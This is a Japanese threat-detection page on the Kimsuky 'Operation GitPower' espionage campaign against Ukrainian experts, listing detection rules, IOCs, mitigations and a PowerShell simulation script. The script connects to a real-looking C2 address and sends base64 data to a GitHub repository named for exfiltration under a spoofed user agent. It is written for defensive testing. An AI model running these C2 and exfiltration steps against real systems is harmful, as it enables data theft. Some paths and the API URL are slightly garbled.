GitPower作戦:ウクライナに対するキムスキースパイ活動
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Kimsukyは現在、ウクライナの外交、安全保障、国際政策の専門家に対するサイバー諜報活動を行っています。Operation GitPowerとして知られるこのキャンペーンは、リプライ誘導型スピアフィッシングに基づき、GitHub、GitLab、Codebergなどの正当な開発プラットフォームを悪用してマルウェアを配信しています。攻撃者はまた、AIツールを活用してデコイドキュメントを作成し、攻撃プロセスを自動化し始めています。
調査
調査者は、PDFに偽装された悪意のあるLNKファイルや偽のZoomインストーラーを含む複数の攻撃段階を調査しました。VBScriptとPowerShellスクリプトがスケジュールタスクを通じて持続性を持つ多段階の実行フローを追跡しました。グループはハードコードされたC2サーバーとGitHubのAPIを使用してデータの流出を実行しています。
緩和策
組織は、LNKファイル、PowerShell、および正当なクラウド開発サービスの悪用を意図したEDR検出と脅威ハンティング能力を強化するべきです。GitHubおよびGitLabへのAPIコールの監視と、通常ではないスケジュールタスクの厳格な監視が推奨されます。ユーザーは精巧なリプライ誘導型ソーシャルエンジニアリング戦術を認識するように訓練される必要があります。
対応策
検出後、対応者はTCP C2またはGitHubチャネルを通じたさらなるデータ流出を防ぐために、影響を受けたエンドポイントを隔離する必要があります。アナリストは、許可されていないスケジュールタスクを探し、C:UsersPublicディレクトリを悪意のあるVBS/PS1ファイルで確認するべきです。LNKの実行と後のネットワーク接続を正当なクラウドサービスに関連付けることが重要です。
攻撃フロー
この部分はまだ更新中です。
検出
二重拡張子を持つ可能性のある悪意のあるLNKファイル(cmdライン経由)
疑わしいディレクトリでBypass実行ポリシーを使用してファイルを実行するPowerShell(cmdライン経由)
Schtasksが疑わしいディレクトリ/バイナリ/スクリプトを指す(cmdライン経由)
LOLBAS WScript / CScript(プロセス生成経由)
Publicユーザープロファイルからの疑わしい実行(プロセス生成経由)
疑わしいCURLの使用(cmdライン経由)
Invoke-RestMethodの疑わしい使用(powershell経由)
.NETメソッドをPowerShellから呼び出す疑わしい事例(powershell経由)
異常なプロセスによって開始された可能性のあるGitHubファイルダウンロード(ネットワーク接続経由)
Publicユーザープロファイルの疑わしいファイル(ファイルイベント経由)
検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 4
検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 3
検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 2
検出するためのIOC(HashMd5):ウクライナを標的とするKimsukyのOperation GitPower Part 1
検出するためのIOC(SourceIP):ウクライナを標的とするKimsukyのOperation GitPower
検出するためのIOC(DestinationIP):ウクライナを標的とするKimsukyのOperation GitPower
Kimsuky活動におけるTCP C2接続とGitHubベースの流出の検出 [Windowsネットワーク接続]
GoogleUpdateTaskMachineUAスケジュールタスクを検出して悪意のあるスクリプト実行を確認 [Windows Sysmon]
LNKファイルが難読化と持続性を持ってPowerShellスクリプトを実行 [Windowsプロセス生成]
シミュレーション実行
-
攻撃の流れとコマンド: 敵対者はコマンド&コントロール(C2)通信を確立し、GitHubを通じて機密データを流出させることを目的としています。まず、攻撃者はハードコードされたC2 IP
111.92.246.145ポートで12345準備完了を通知します。次に、伝統的なデータ転送監視による検出を避けるために、攻撃者はGitHub Contents APIを介して盗まれた文書をGitHubリポジトリにアップロードする「living-off-the-land」アプローチを使用し、特にKimsukyユーザーエージェントを模倣します。GitHub-API/1.0. -
リグレッションテストスクリプト:
# Kimsuky検出の検証のためのシミュレーションスクリプト Write-Host "[+] Kimsukyシミュレーションを開始..." -ForegroundColor Cyan # 1. C2接続のシミュレーション(TCP 111.92.246.145:12345) Write-Host "[+] 111.92.246.145:12345へのC2接続を試みています" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # IPに到達できない場合にスクリプトがハングしないよう短いタイムアウトを使用します $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] 接続失敗(IPがオフラインの場合に予期される)、しかしSysmonによってテレメトリは依然として記録されるはずです。" -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] C2シミュレーション中のエラー: $($_.Exception.Message)" -ForegroundColor Red } # 2. GitHub流出のシミュレーション(特定のUser-AgentでGitHub APIへのPOST) Write-Host "[+] GitHub API流出シミュレーションを試みています..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "データを流出させています" "content" = "SGVsbG8gV29ybGQ=" # "Hello World"のBase64表現 } | ConvertTo-Json try { # 特定の検出ロジックをトリガーするために-UserAgentを使用 Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] HTTPリクエストが完了しました(偽URLの場合は404/401が予想されますが、User-Agentが送信されました)。" -ForegroundColor Gray } Write-Host "[+] シミュレーション完了。" -ForegroundColor Cyan -
クリーンアップコマンド:
# このシミュレーションスクリプトによって永続的なアーティファクトは作成されていません。 # コンテンツに使用されたローカルファイルがある場合、削除する必要があります: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] クリーンアップ完了。" -ForegroundColor Green